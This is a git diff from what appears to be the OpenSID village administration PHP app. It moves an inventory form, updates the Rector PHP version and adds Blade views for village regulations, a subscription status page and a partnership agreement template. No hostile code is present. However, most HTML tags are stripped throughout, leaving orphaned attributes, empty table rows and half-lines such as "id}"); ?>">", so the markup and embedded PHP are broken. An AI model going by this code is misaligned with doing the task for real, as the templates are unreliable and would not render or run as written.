    - + diff --git a/donjo-app/views/inventaris/tanah/edit_inventaris.php b/donjo-app/views/inventaris/tanah/form.php similarity index 85% rename from donjo-app/views/inventaris/tanah/edit_inventaris.php rename to donjo-app/views/inventaris/tanah/form.php index db16e39c3..eb520a340 100644 --- a/donjo-app/views/inventaris/tanah/edit_inventaris.php +++ b/donjo-app/views/inventaris/tanah/form.php @@ -29,19 +29,24 @@
    -

    Ubah Data Inventaris Tanah

    +

    Data Inventaris Tanah

    -
    id}"); ?>"> + id}"); ?>">
    load->view('inventaris/menu_kiri.php') ?>
    + count + 1; + $jumlah_kata = strlen($reg); + $hasil = sprintf('%06s', $reg); + ?>
    @@ -54,7 +59,7 @@
    - + "> - + + + = 1900; $i--) : ?> @@ -109,7 +116,9 @@
    @@ -128,20 +137,24 @@
    - +
    - +
    + + + + @@ -173,9 +190,20 @@
    Rp + + + +
    + +
    +
    + +
    +
    +
    @@ -220,6 +248,12 @@ $('#nama_barang_save').val($('#nama_barang').val().slice(0, -16)); } }); + + + $("#tahun_pengadaan").change(); + $("#penggunaan_barang").change(); + $("#nama_barang").change(); + }); function price() { diff --git a/donjo-app/views/inventaris/tanah/form_tambah.php b/donjo-app/views/inventaris/tanah/form_tambah.php deleted file mode 100644 index c8f4f932d..000000000 --- a/donjo-app/views/inventaris/tanah/form_tambah.php +++ /dev/null @@ -1,207 +0,0 @@ -
    -
    -

    Isi Data Inventaris Tanah

    - -
    -
    - -
    -
    - load->view('inventaris/menu_kiri'); ?> -
    -
    -
    - - - count + 1; - $jumlah_kata = strlen($reg); - $hasil = sprintf('%06s', $reg); - ?> -
    -
    -
    -
    - -
    - -
    -
    -
    - -
    - - - -
    -
    -
    - -
    - -
    -
    -
    - -
    -
    - - M2 -
    -
    -
    -
    - -
    - -
    -
    -
    - -
    - -
    -
    - -
    - -
    - -
    -
    -
    - -
    - -
    -
    -
    - -
    - -
    -
    -
    - -
    - -
    -
    -
    - -
    - -
    -
    -
    - -
    - -
    -
    -
    - -
    -
    - Rp - -
    -
    -
    -
    - -
    -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - -
    -
    -
    - -
    -
    - - \ No newline at end of file diff --git a/rector.php b/rector.php index 295b05e0b..426466fc0 100644 --- a/rector.php +++ b/rector.php @@ -62,7 +62,7 @@ __DIR__ . '/app', ]); - $rectorConfig->phpVersion(PhpVersion::PHP_74); + $rectorConfig->phpVersion(PhpVersion::PHP_81); // register a single rule, test push $rectorConfig->rule(InlineConstructorDefaultToPropertyRector::class); @@ -94,7 +94,7 @@ // define sets of rules $rectorConfig->sets([ - LevelSetList::UP_TO_PHP_74, + LevelSetList::UP_TO_PHP_81, SetList::CODE_QUALITY, SetList::DEAD_CODE, SetList::TYPE_DECLARATION, diff --git a/resources/views/admin/anjungan_menu/index.blade.php b/resources/views/admin/anjungan_menu/index.blade.php index 9d7cc21aa..b354f0c08 100644 --- a/resources/views/admin/anjungan_menu/index.blade.php +++ b/resources/views/admin/anjungan_menu/index.blade.php @@ -99,6 +99,7 @@ class: 'aksi', } if (ubah == 0) { + TableData.column(0).visible(false); TableData.column(3).visible(false); } diff --git a/resources/views/admin/bumindes/penduduk/rekapitulasi/cetak.blade.php b/resources/views/admin/bumindes/penduduk/rekapitulasi/cetak.blade.php index 15338db23..56a38c13e 100644 --- a/resources/views/admin/bumindes/penduduk/rekapitulasi/cetak.blade.php +++ b/resources/views/admin/bumindes/penduduk/rekapitulasi/cetak.blade.php @@ -26,7 +26,7 @@
    -

    BUKU REKAPITULASI JUMLAH PENDUDUK BULAN {{ strtoupper(getBulan(date('m'))) }} TAHUN {{ date('Y') }}

    +

    BUKU REKAPITULASI JUMLAH PENDUDUK BULAN {{ strtoupper(getBulan($bulan)) }} TAHUN {{ $tahun }}

    - +
    @@ -167,7 +167,7 @@ class="btn btn-social btn-flat {{ $inkremental->status == '0' ? 'btn-warning' :
    - +
    @@ -213,7 +213,7 @@ class="btn btn-social btn-flat {{ $inkremental->status == '0' ? 'btn-warning' :
    - +
    diff --git a/resources/views/admin/dokumen/lembaran_desa/cetak.blade.php b/resources/views/admin/dokumen/lembaran_desa/cetak.blade.php new file mode 100644 index 000000000..9017c2f01 --- /dev/null +++ b/resources/views/admin/dokumen/lembaran_desa/cetak.blade.php @@ -0,0 +1,44 @@ +
    +

    BUKU LEMBARAN {{ strtoupper(setting('sebutan_desa')) }} DAN BERITA {{ strtoupper(setting('sebutan_desa')) }}

    +

    {{ get_identitas() }}

    +

    {{ empty($tahun) ? '' : 'TAHUN ' . $tahun }}

    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + @foreach ($main as $index => $data) + + + + + + + + + + @endforeach + +
    NOMOR URUTJENIS PERATURAN DI DESANOMOR DAN TANGGAL DITETAPKANTENTANGDIUNDANGKANKET.
    TANGGALNOMOR
    1234567
    {{ $index + 1 }}{{ $data['attr']['jenis_peraturan'] }}{{ 'Nomor ' . strip_kosong($data['attr']['no_ditetapkan']) . ', Tanggal ' . tgl_indo_dari_str($data['attr']['tgl_ditetapkan']) }}{{ $data['nama'] }}{{ tgl_indo_dari_str($data['attr']['tgl_lembaran_desa']) }}{{ strip_kosong($data['attr']['no_lembaran_desa']) }}{{ $data['attr']['keterangan'] }}
    diff --git a/resources/views/admin/dokumen/lembaran_desa/dialog.blade.php b/resources/views/admin/dokumen/lembaran_desa/dialog.blade.php new file mode 100644 index 000000000..5d80ee5ac --- /dev/null +++ b/resources/views/admin/dokumen/lembaran_desa/dialog.blade.php @@ -0,0 +1,25 @@ +
    + + +
    diff --git a/resources/views/admin/dokumen/lembaran_desa/index.blade.php b/resources/views/admin/dokumen/lembaran_desa/index.blade.php new file mode 100644 index 000000000..7ae50e5ba --- /dev/null +++ b/resources/views/admin/dokumen/lembaran_desa/index.blade.php @@ -0,0 +1,149 @@ +
    + +
    +
    +
    +
    + +
    +
    + +
    +
    +
    +
    +
    +
    + + + + + + + + + + + + + + + + +
    NoAksiJudulJenis PeraturanNo./Tgl DitetapkanUraian SingkatAktif Dimuat Pada
    +
    +
    +
    +
    +
    +
    +@push('scripts') + +@endpush diff --git a/resources/views/admin/lapak/kategori/index.blade.php b/resources/views/admin/lapak/kategori/index.blade.php index 882802545..2347d050d 100644 --- a/resources/views/admin/lapak/kategori/index.blade.php +++ b/resources/views/admin/lapak/kategori/index.blade.php @@ -21,23 +21,21 @@
    -
    - @includeIf('admin.layouts.components.buttons.tambah', [ - 'modal' => true, - 'url' => "lapak_admin/kategori_form/{$main->id}", - ]) - @includeIf('admin.layouts.components.buttons.hapus', [ - 'url' => 'lapak_admin/kategori_delete_all', - ]) - @includeIf('admin.layouts.components.buttons.cetak', [ - 'modal' => true, - 'url' => 'lapak_admin/kategori/dialog/cetak', - ]) - @includeIf('admin.layouts.components.buttons.unduh', [ - 'modal' => true, - 'url' => 'lapak_admin/kategori/dialog/unduh', - ]) -
    + @includeIf('admin.layouts.components.buttons.tambah', [ + 'modal' => true, + 'url' => "lapak_admin/kategori_form/{$main->id}", + ]) + @includeIf('admin.layouts.components.buttons.hapus', [ + 'url' => 'lapak_admin/kategori_delete_all', + ]) + @includeIf('admin.layouts.components.buttons.cetak', [ + 'modal' => true, + 'url' => 'lapak_admin/kategori/dialog/cetak', + ]) + @includeIf('admin.layouts.components.buttons.unduh', [ + 'modal' => true, + 'url' => 'lapak_admin/kategori/dialog/unduh', + ])
    @@ -45,8 +43,8 @@
    @@ -119,10 +117,10 @@ let status; if (data.status == 1) { status = - `` + `` } else { status = - `` + `` } let hapus; diff --git a/resources/views/admin/lapak/pelapak/index.blade.php b/resources/views/admin/lapak/pelapak/index.blade.php index 808c8544e..5a5395de4 100644 --- a/resources/views/admin/lapak/pelapak/index.blade.php +++ b/resources/views/admin/lapak/pelapak/index.blade.php @@ -44,7 +44,7 @@
    @@ -118,10 +118,10 @@ let status; if (data.status == 1) { status = - `` + `` } else { status = - `` + `` } let hapus; diff --git a/resources/views/admin/lapak/produk/form.blade.php b/resources/views/admin/lapak/produk/form.blade.php index 6ec23e080..5b1cfa604 100644 --- a/resources/views/admin/lapak/produk/form.blade.php +++ b/resources/views/admin/lapak/produk/form.blade.php @@ -173,7 +173,7 @@ class="form-control input-sm number required"
    @php $foto = json_decode($main->foto, null); @endphp @for ($i = 0; $i < $ci->setting->banyak_foto_tiap_produk; $i++) - Foto {{ $i == 0 ? 'Utama' : 'Tambahan' }} + Foto {{ $i == 0 ? 'Utama' : 'Tambahan ' . $i }} @php $ii = $i + 1; @endphp
    @if (is_file(LOKASI_PRODUK . $foto[$i])) diff --git a/resources/views/admin/lapak/produk/index.blade.php b/resources/views/admin/lapak/produk/index.blade.php index 04bd0a396..f94add3f2 100644 --- a/resources/views/admin/lapak/produk/index.blade.php +++ b/resources/views/admin/lapak/produk/index.blade.php @@ -41,7 +41,7 @@
    @@ -142,10 +142,10 @@ let status; if (data.status == 1) { status = - `` + `` } else { status = - `` + `` } return ` diff --git a/resources/views/admin/layouts/components/asset_moment.blade.php b/resources/views/admin/layouts/components/asset_moment.blade.php new file mode 100644 index 000000000..e9c7f99f4 --- /dev/null +++ b/resources/views/admin/layouts/components/asset_moment.blade.php @@ -0,0 +1,9 @@ +@push('scripts') + + + + + +@endpush diff --git a/resources/views/admin/layouts/components/program_bantuan/impor.blade.php b/resources/views/admin/layouts/components/program_bantuan/impor.blade.php new file mode 100644 index 000000000..5a77dee73 --- /dev/null +++ b/resources/views/admin/layouts/components/program_bantuan/impor.blade.php @@ -0,0 +1,44 @@ +@if (can('u')) + +@endif diff --git a/resources/views/admin/layouts/components/side_bukudesa.blade.php b/resources/views/admin/layouts/components/side_bukudesa.blade.php index 62c3d7272..94dbb53e2 100644 --- a/resources/views/admin/layouts/components/side_bukudesa.blade.php +++ b/resources/views/admin/layouts/components/side_bukudesa.blade.php @@ -15,7 +15,7 @@
  • Buku Agenda - Surat Masuk
  • Buku Ekspedisi
  • -
  • {{ SebutanDesa('Buku Lembaran [Desa] dan Berita [Desa]') }} +
  • {{ SebutanDesa('Buku Lembaran [Desa] dan Berita [Desa]') }}
  • diff --git a/resources/views/admin/mailbox/index.blade.php b/resources/views/admin/mailbox/index.blade.php index c307e541a..b2b4187a1 100644 --- a/resources/views/admin/mailbox/index.blade.php +++ b/resources/views/admin/mailbox/index.blade.php @@ -31,7 +31,7 @@ class="btn btn-social btn-danger btn-sm visible-xs-block visible-sm-inline-block visible-md-inline-block visible-lg-inline-block hapus-terpilih" - > Arsipkan + > Arsipkan @endif
    @@ -176,7 +176,7 @@ class: 'aksi', $('#confirm-delete').on('shown.bs.modal', function(ev) { $(this).find('.modal-body').text('Apakah Anda yakin ingin mengarsipkan data ini?') - $(this).find('.modal-footer button:submit').html(' Arsipkan') + $(this).find('.modal-footer #ok-delete').html(' Arsipkan') }) }); diff --git a/resources/views/admin/pelanggan/index.blade.php b/resources/views/admin/pelanggan/index.blade.php new file mode 100644 index 000000000..f14222247 --- /dev/null +++ b/resources/views/admin/pelanggan/index.blade.php @@ -0,0 +1,570 @@ +@extends('admin.layouts.index') + +@section('title') +

    {{ $title }}

    +@endsection + +@section('breadcrumb') +
  • {{ $title }}
  • +@endsection + +@push('css') + +@endpush + +@section('content') + + @if ($error_premium) +
    +
    + + @if ($error_premium) +

    {{ $error_premium }} + @elseif (!cek_koneksi_internet()) +

    Tidak Terhubung Dengan Jaringan

    + @endif +
    +
    + @if ($pesan) +
    +
    {{ $pesan }}
    +
    + @elseif (is_null($response)) +
    +
    Data Gagal Dimuat, Harap Periksa Dibawah Ini
    +
    Fitur ini khusus untuk pelanggan Layanan {{ config_item('nama_lembaga') }} (hosting, Fitur Premium, dll) untuk menampilkan status langganan.
    +
  • Periksan koneksi anda, pastikan sudah terhubung dengan jaringan internet.
  • +
  • Periksa logs error terakhir di menu Pengaturan > Info Sistem > Logs
  • +
  • Token pelanggan tidak terontentikasi. Periksa [Layanan {{ config_item('nama_lembaga') }} Token] di Pengaturan Pelanggan ()
  • +
  • Jika masih mengalami masalah harap menghubungi pelaksana masing-masing. +
  • + @endif +
    +
    + @endif + + @if ($response) +
    +
    +
    +
    +

    PEMESANAN LAYANAN

    +
    + @foreach ($response->body->pemesanan as $pemesanan) + @if ($pemesanan->status_pemesanan == 'aktif') + @foreach ($pemesanan->layanan as $layanan) + @php + if (preg_match('/Hosting|Domain/', $layanan->nama) && !file_exists('mitra')) { + fopen('mitra', 'wb'); + } + @endphp +
  • {{ $layanan->nama }}
  • + @endforeach + @endif + @endforeach +
    +
    +
    + +
    +
    +
    +
    +
    +
    +

    STATUS PELANGGAN

    +
    {{ ucwords($response->body->status_langganan) }}
    +
    +
    + +
    +
    +
    +
    +
    +
    +

    MULAI BERLANGGANAN

    +
    {{ tgl_indo($response->body->tanggal_berlangganan->mulai) }} (Premium)
    +
    +
    + +
    +
    +
    +
    +
    +
    +

    AKHIR BERLANGGANAN

    +
    {{ tgl_indo($response->body->tanggal_berlangganan->akhir) }} (Premium)
    +
    +
    + +
    +
    +
    + @if ($response->body->status_langganan === 'aktif' || $response->body->status_langganan === 'suspended' || $response->body->status_langganan === 'tidak aktif' || $response->body->status_langganan === 'menunggu verifikasi email') +
    +
    +
    + +

    Info

    +
    +
    +
    +
    Silahkan lakukan Pendaftaran Kerjasama minimal sampai Verifikasi Email, agar Anda bisa mencetak Nota Faktur.
    +
    +
    +
    +
    + @endif +
    + + @if ($response->body->status_langganan === 'menunggu verifikasi email') +
    +
    + +

    Status Registrasi

    + Perbarui +
    +
    +
    +
    Silahkan cek email Anda untuk memverifikasi, atau kirim ulang pendaftaran kerjasama menggunakan email aktif untuk menerima link verifikasi baru.
    +
    +
    +
    + @elseif ($response->body->status_langganan === 'menunggu verifikasi pendaftaran') +
    +
    + +

    Status Registrasi

    +
    +
    +
    +
    Dokumen permohonan kerjasama Desa anda sedang diperiksa oleh Pelaksana Layanan {{ config_item('nama_lembaga') }}.
    +
    +
    +
    + @endif +
    + @if (can('u')) +
    + Rincian Pelanggan Perbarui +
    + @endif +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + @if (!config_item('demo_mode') && $response->body->token) + + + + + + @endif + +
    ID Pelanggan:{{ $response->body->id }}
    KODE {{ strtoupper(setting('sebutan_desa')) }} : {{ $response->body->desa->kode_desa }}
    {{ strtoupper(setting('sebutan_desa')) }} : {{ "Desa {$response->body->desa->nama_desa}, Kecamatan {$response->body->desa->nama_kec}, Kabupaten {$response->body->desa->nama_kab}, Provinsi {$response->body->desa->nama_prov}" }}
    Domain Desa : {{ $response->body->domain }}
    Nama Kontak : + @foreach ($response->body->kontak as $kontak) +
  • {{ $kontak->nama }}
  • + @endforeach +
    Token : + + + + + +
    + + +
    +
    +
    +
    +
    +
    +
    +
    + Rincian Pemesanan Premium + @if ($permohonan = session('permohonan')) +

    {{ $permohonan }}

    + @endif +

    + Info: Nota faktur dapat dicetak hanya untuk pembayaran yang sudah lunas dan telah melakukan pendaftaran kerjasama sampai verifikasi email. +
    +
    +
    + + + + + + + + + + + + + + @foreach ($response->body->pemesanan as $number => $pemesanan) + + + + + + + + + + {{-- if ($pemesananPremium !== 0) : ?> --}} + {{-- {{ ''; ?> --}} + @endforeach + +
    NoAksiLayananTanggal MulaiTanggal BerakhirStatus PemesananStatus Pembayaran
    {{ $number + 1 }} + @if (($pemesanan->status_pembayaran == 1 && $response->body->status_langganan === 'terdaftar') || $response->body->status_langganan === 'menunggu verifikasi pendaftaran' || $response->body->status_langganan === 'email telah terverifikasi') + ) + faktur}&token={$token}" }}" class="btn btn-social bg-purple btn-sm btn-sm visible-xs-block visible-sm-inline-block visible-md-inline-block visible-lg-inline-block" + title="Cetak Nota Faktur" + >Cetak Nota Faktur + @endif + @if ($notif_langganan['warna'] == 'orange') + Perpanjang + @endif + + @php $pemesananPremium = 0 @endphp + @foreach ($pemesanan->layanan as $layanan) + @if ($layanan->kategori_id == 4) + @php $pemesananPremium++ @endphp + {{ $layanan->nama }}{{ $layanan->number }}
    + {!! '' !!} + @else + {!! '' !!} + @endif + @endforeach +
    {{ tgl_indo($pemesanan->tgl_mulai) }}{{ tgl_indo(date('Y-m-t', strtotime($pemesanan->tgl_akhir))) }} + @if ($notif_langganan['warna'] == 'orange') + perlu diperpanjang + @else + {{ $pemesanan->status_pemesanan }} + @endif + + {{ $pemesanan->status_pembayaran == 1 ? 'lunas' : 'belum lunas' }} +
    +
    +
    +
    +
    +
    + Rincian Pemesanan Lainnya + @if ($permohonan = session('permohonan')) +

    {{ $permohonan }}

    + @endif +

    + Info: Nota faktur dapat dicetak hanya untuk pembayaran yang sudah lunas dan telah melakukan pendaftaran kerjasama sampai verifikasi email. +
    +
    +
    + + + + + + + + + + + + + + @php $pemesananLainnya = 0 @endphp + @foreach ($response->body->pemesanan as $number => $pemesanan) + + + + + + + + + + @endforeach + @if ($pemesananLainnya == 0) + {!! '' !!} + @endif + +
    NoAksiLayananTanggal MulaiTanggal BerakhirStatus PemesananStatus Pembayaran
    {{ $number + 1 }} + @if (($pemesanan->status_pembayaran == 1 && $response->body->status_langganan === 'terdaftar') || $response->body->status_langganan === 'menunggu verifikasi pendaftaran' || $response->body->status_langganan === 'email telah terverifikasi') + faktur}&token={$token}" }}" + class="btn btn-social bg-purple btn-sm btn-sm visible-xs-block visible-sm-inline-block visible-md-inline-block visible-lg-inline-block" title="Cetak Nota Faktur" + >Cetak Nota Faktur + @endif + @if ($notif_langganan['warna'] == 'orange') + Perpanjang + @endif + + @foreach ($pemesanan->layanan as $layanan) + @if ($layanan->kategori_id != 4) + @php $pemesananLainnya++ @endphp + {{ $layanan->nama }}
    + {!! '' !!} + @else + {!! '' !!} + @endif + @endforeach +
    {{ tgl_indo($pemesanan->tgl_mulai) }}{{ tgl_indo($pemesanan->tgl_akhir) }} + @if ($notif_langganan['warna'] == 'orange') + perlu diperpanjang + @else + {{ $pemesanan->status_pemesanan }} + @endif + + {{ $pemesanan->status_pembayaran == 1 ? 'lunas' : 'belum lunas' }} +
    +
    +
    +
    + +
    + @foreach ($response->body->pemesanan as $pemesanan) + @foreach ($pemesanan->layanan as $layanan) + + @endforeach + @endforeach +
    + @endif + +@endsection + +@include('admin.layouts.components.asset_moment') + +@push('scripts') + + + + +@endpush diff --git a/resources/views/admin/pelanggan/perpanjang_layanan.blade.php b/resources/views/admin/pelanggan/perpanjang_layanan.blade.php new file mode 100644 index 000000000..c53a00872 --- /dev/null +++ b/resources/views/admin/pelanggan/perpanjang_layanan.blade.php @@ -0,0 +1,46 @@ +@extends('admin.layouts.index') + +@section('title') +

    {{ $title }}

    +@endsection + +@section('breadcrumb') +
  • {{ $title }}
  • +@endsection + +@section('content') +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    +
    + + + + + +
    +
    +
    +
    + +
    +
    +@endsection diff --git a/resources/views/admin/pendaftaran_kerjasama/form.blade.php b/resources/views/admin/pendaftaran_kerjasama/form.blade.php new file mode 100644 index 000000000..69195846e --- /dev/null +++ b/resources/views/admin/pendaftaran_kerjasama/form.blade.php @@ -0,0 +1,190 @@ +
    +

    Pendaftaran Kerjasama

    + +
    +
    + @if (!cek_koneksi_internet()) +
    +
    + +

    Tidak Terhubung Dengan Jaringan

    +
    +
    +
    +
    Data Gagal Dimuat, Harap Periksa Jaringan Anda Telebih Dahulu.
    +
    +
    +
    + @else +
    +
    +

    Pendaftaran Kerjasama {{ config_item('nama_lembaga') }}

    +
    +
    +

    {{ config_item('nama_lembaga') }} (lembaga hukum dikukuhkan Keputusan Menteri Hukum dan Hak Asasi Manusia + Nomor AHU-0001417.AH.01.08.Tahun 2021) menyediakan aplikasi dan layanan yang memerlukan kontribusi yang + perlu dianggarkan Desa. Untuk memenuhi peraturan pengadaan yang berlaku, Desa perlu memiliki kerjasama + pengadaan dengan {{ config_item('nama_lembaga') }} sebelum dapat menggunakan aplikasi dan layanan {{ config_item('nama_lembaga') }} berbayar tersebut.

    +

    Gunakan fitur ini untuk mendaftarkan dan mengeksekusi kerjasama resmi dengan {{ config_item('nama_lembaga') }}. Setelah Kesepakatan Kerjasama antara Desa dan {{ config_item('nama_lembaga') }} berlaku, Desa akan terdaftar sebagai Desa Digital {{ config_item('nama_lembaga') }} dan + berhak mengakses aplikasi dan layanan {{ config_item('nama_lembaga') }} berbayar dan program-program peningkatan desa digital lainnya.

    +

    Cetak dokumen Kesepakatan Kerjasama menggunakan tombol yang disediakan. Langkah untuk melengkapi + pendaftaran adalah sebagai berikut:

    +

    +

      +
    1. Cetak dokumen Kesepakatan Kerjasama (Pada pengaturan cetak, Option : Headers and Footers jangan di + centang).
    2. +
    3. Isi tanggal penandatanganan.
    4. +
    5. Tandatangani oleh Kades sebagai PIHAK KESATU di atas meterai Rp10.000
    6. +
    7. Scan dokumen yang telah ditandatangani.
    8. +
    9. Unggah hasil scan menggunakan form pendaftaran.
    10. +
    11. Simpan dokumen asli di arsip kantor desa.
    12. +
    13. Cek email inbox/pesan yang Anda gunakan untuk memverifikasi.
    14. +
    15. Setelah pendaftaran diverifikasi dan kerjasama diaktifkan oleh {{ config_item('nama_lembaga') }}, + email pemberitahuan akan dikirim ke alamat email terdaftar.
    16. +
    +
    +
    + @if ($response->data->status_langganan === 'menunggu verifikasi email') +
    +
    + +

    Status Registrasi

    +
    +
    +
    +
    Kami telah mengirim link verifikasi ke {{ $response->data->email }}
    Silahkan cek email Anda + untuk memverifikasi, atau kirim ulang pendaftaran kerjasama menggunakan email aktif untuk menerima + link verifikasi baru.
    +
    +
    +
    + @elseif ($response->data->status_langganan === 'menunggu verifikasi pendaftaran') +
    +
    + +

    Status Registrasi

    +
    +
    +
    +
    Dokumen permohonan kerjasama Desa anda sedang diperiksa oleh Pelaksana Layanan {{ config_item('nama_lembaga') }}.
    +
    +
    +
    + @endif +
    +
    + +

    Langkah-langkah melakukan pengecekan email untuk verifikasi +

    +
    +
    +
    1. Cek folder kotak masuk / inbox, jika ada, maka silahkan klik pesan tersebut lalu klik tombol + verifikasi email.
    +
    2. Cek folder spam, jika ada, maka:
    + - Klik pesan lalu hapus label spam pada pesan tersebut.
    + - Setelah label spam dihapus, pesan akan masuk ke folder inbox.
    + - Selanjutnya cek folder inbox, dan silahkan klik pesan dan klik tombol verifikasi.
    +
    +
    3. Jika Anda tidak menerima pesan pada folder inbox dan folder spam, silahkan kirim ulang + pendaftaran kerjasama menggunakan email aktif untuk menerima link verifikasi baru, pastikan email + sudah benar.
    +
    +
    +
    +
    +
    +

    Form Pendaftaran Kerjasama

    +
    +
    +
    +
    + + + +
    + @if ($response->data->status_langganan === 'menunggu verifikasi email') + + @else + + @endif + @if ($email = session('email')) +

    {{ $email }}

    + @endif +
    +
    +
    + +
    + +
    +
    +
    + +
    + + @if ($desa = session('desa')) +

    {{ $desa }}

    + @endif +
    +
    +
    + +
    + + @if ($domain = session('domain')) +

    {{ $domain }}

    + @endif +
    +
    +
    + +
    + + @if ($kontak_nama = session('kontak_nama')) +

    {{ $kontak_nama }}

    + @endif +
    +
    +
    + +
    + + @if ($kontak_no_hp = session('kontak_no_hp')) +

    {{ $kontak_no_hp }}

    + @endif +
    +
    +
    + +
    +
    + + + + + + + Unduh Dokumen + Kerjasama + +
    + @if ($permohonan = session('permohonan')) +

    {{ $permohonan }}

    + @endif +
    +
    +
    + +
    +
    + @endif +
    diff --git a/resources/views/admin/pendaftaran_kerjasama/template.blade.php b/resources/views/admin/pendaftaran_kerjasama/template.blade.php new file mode 100644 index 000000000..24c708e32 --- /dev/null +++ b/resources/views/admin/pendaftaran_kerjasama/template.blade.php @@ -0,0 +1,431 @@ + + + + + + + + KESEPAKATAN MENJADI DESA DIGITAL {{ strtoupper(config_item('nama_lembaga')) }} + + + + + + + + + + +
    + + +

    + KESEPAKATAN KERJASAMA +

    +

    + ANTARA +

    +

    + PEMERINTAH DESA {{ strtoupper($desa) }} +

    +

    + DENGAN +

    +

    + PERKUMPULAN DESA DIGITAL TERBUKA +

    +

    + +

    +

    + TENTANG +

    +

    + + PEMANFAATAN APLIKASI DAN LAYANAN {{ strtoupper(config_item('nama_lembaga')) }} MENUJU DESA CERDAS + +

    +

    + +

    +

    + NOMOR : {{ "{$random}/{$hari}/{$bulan}/{$tahun}" }}
    + NOMOR : {{ "14. {$random}/DDT/{$bulan}/{$tahun}" }} +

    +
    + +
    +

    + Pada hari ini, {{ $nama_hari }} Tanggal {{ $hari }} Bulan {{ $nama_bulan }} Tahun {{ $nama_tahun }} + bertempat di {{ $alamat }}, yang bertandatangan di bawah ini : +

    + + + + + + + + + + + + + + + + + + + + + +
    +

    + {{ $kepala_desa }} +

    +
    +

    + : +

    +
    +

    + Kepala Desa/Lurah {{ $pamong }} yang berkedudukan dan + berkantor di {{ $alamat }}, dalam hal ini bertindak + dalam jabatannya selanjutnya disebut PIHAK KESATU. +

    +
    +
    +

    + LUSIANTO, S.Kom., M.Si +

    +
    +

    + : +

    +
    +

    + Jabatan Ketua Umum Perkumpulan Desa Digital Terbuka, berkedudukan di Sekretariat Nasional Perkumpulan Desa Digital Terbuka, Nagari Tanjung Haro Sikabu-kabu Padang panjang Kecamatan Luak kabupaten Lima Puluh Kota Provinsi Sumatera Barat, dalam hal ini bertindak untuk atas nama + perkumpulan desa digital terbuka, selanjutnya disebut PIHAK KEDUA. +

    +
    +
    +

    + PIHAK KESATU + dan PIHAK KEDUA yang selanjutnya disebut sebagai PARA PIHAK sepakat mengadakan + Kerjasama yang saling + menguntungkan dalam rangka pemenuhan tugas dan fungsi untuk kemajuan Desa + {{ $desa }} mewujudkan Desa Digital melalui pemanfaatan aplikasi dan layanan yang + disediakan PIHAK KEDUA, dengan ketentuan sebagai berikut: +

    +

    +

    + PASAL 1
    + DASAR HUKUM +

    +
      +
    1. +

      + Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi + Elektronik. +

      +
    2. +
    3. +

      + Undang Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik. +

      +
    4. +
    5. +

      + Undang-undang Nomor 25 Tahun 2009 tentang Pelayanan Publik. +

      +
    6. +
    7. +

      + Undang-Undang Nomor 6 Tahun 2014 tentang Desa. +

      +
    8. +
    9. +

      + Peraturan Pemerintah Nomor 43 Tahun 2014 tentang Peraturan Pelaksanaan + Undang-Undang Nomor 6 tahun 2014 tentang Desa (Lembaran Negara Republik + Indonesia Tahun 2014 Nomor 123, Tambahan Lembaran Negara Republik Indonesia + Nomor 5539) sebagaimana telah diubah dengan Peraturan Pemerintah Nomor 47 + Tahun 2015 tentang Perubahan Peraturan Pemerintah Nomor 43 Tahun 2014 + tentang Peraturan Pelaksanaan Undang Undang Nomor 6 tahun 2014 tentang + Desa. +

      +
    10. +
    11. +

      + Peraturan Menteri Dalam Negeri Republik Indonesia Nomor 96 Tahun 2017 + tentang Tata Cara Kerja Sama Desa di Bidang Pemerintahan. +

      +
    12. +
    13. +

      + Peraturan Menteri Dalam Negeri Republik Indonesia Nomor 20 Tahun 2018 + Tentang Pengelolaan Keuangan Desa. +

      +
    14. +
    15. +

      + Peraturan Lembaga Kebijakan Pengadaan Barang/Jasa Pemerintah Nomor 12 + Tahun 2019 tentang pedoman Penyusunan Tata Cara Pengadaan Barang/Jasa di + Desa. +

      +
    16. +
    17. +

      + Peraturan Menteri Desa, Pembangunan Daerah Tertinggi dan Transmigrasi + Republik Indonesia Nomor 21 Tahun 2020 tentang Pedoman Umum Pembangunan + Desa dan Pemberdayaan Masyarakat Desa. +

      +
    18. +
    +
    +

    + PASAL 2
    + MAKSUD DAN TUJUAN +

    +

    + PIHAK KESATU + bertujuan mewujudkan Desa {{ $desa }} menjadi Desa Digital menuju + Desa Cerdas. Untuk tujuan itu, PIHAK KESATU bermaksud + menggunakan aplikasi dan layanan yang disediakan {{ config_item('nama_lembaga') }}. +

    +

    + Maksud dan tujuan Kesepakatan Kerjasama ini adalah untuk saling mendukung dan + bersinergi dalam rangka mewujudkan pemerintahan desa yang transparan dan + efisien dengan menggunakan teknologi informasi dan komunikasi (ICT) untuk + meningkatkan kapasitas desa dalam rangka mewujudkan Desa Digital menuju + Desa Cerdas. +

    +
    +

    + PASAL 3
    + RUANG LINGKUP +

    +

    + Ruang lingkup Kesepakatan Kerjasama ini adalah pemanfaatan aplikasi dan + layanan yang disediakan {{ config_item('nama_lembaga') }}. +

    +

    +

    + PASAL 4
    + PELAKSANAAN +

    +
      +
    1. +

      + Pelaksanaan Kesepakatan Kerjasama ini adalah mewujudkan Desa Digital di Desa {{ $desa }} + dengan + memanfaatkan aplikasi dan + layanan yang disediakan PIHAK KEDUA. +

      +
    2. +
    3. +

      + Dengan berlakunya Kesepakatan Kerjasama ini, PIHAK KEDUA + akan menyediakan layanan {{ config_item('nama_lembaga') }} untuk dapat dimanfaatkan oleh PIHAK KESATU, di mana + layanan + tersebut hanya tersedia bagi + desa yang telah bekerjasama sehingga terdaftar sebagai Desa Digital + {{ config_item('nama_lembaga') }}. +

      +
    4. +
    5. +

      + Untuk mewujudkan Desa Digital, PIHAK KESATU dapat + memanfaatkan dan memesan aplikasi dan layanan PIHAK KEDUA + sesuai ketentuan pemesanan dan penggunaan masing-masing aplikasi dan + layanan. +

      +
    6. +
    7. +

      + Terhadap pelaksanaan Kesepakatan Kerjasama ini sebagaimana dimaksud pada + ayat (1) akan dilakukan pemantauan dan evaluasi secara berkala oleh PARA PIHAK sebagai + laporan + dalam rangka mendukung + perencanaan program kerja sama selanjutnya. +

      +
    8. +
    +
    +

    + PASAL 5
    + JANGKA WAKTU +

    +
      +
    1. +

      + Kesepakatan Kerjasama berlaku terhitung sejak ditandatanganinya + Kesepakatan Kerjasama ini tanpa batas waktu. +

      +
    2. +
    3. +

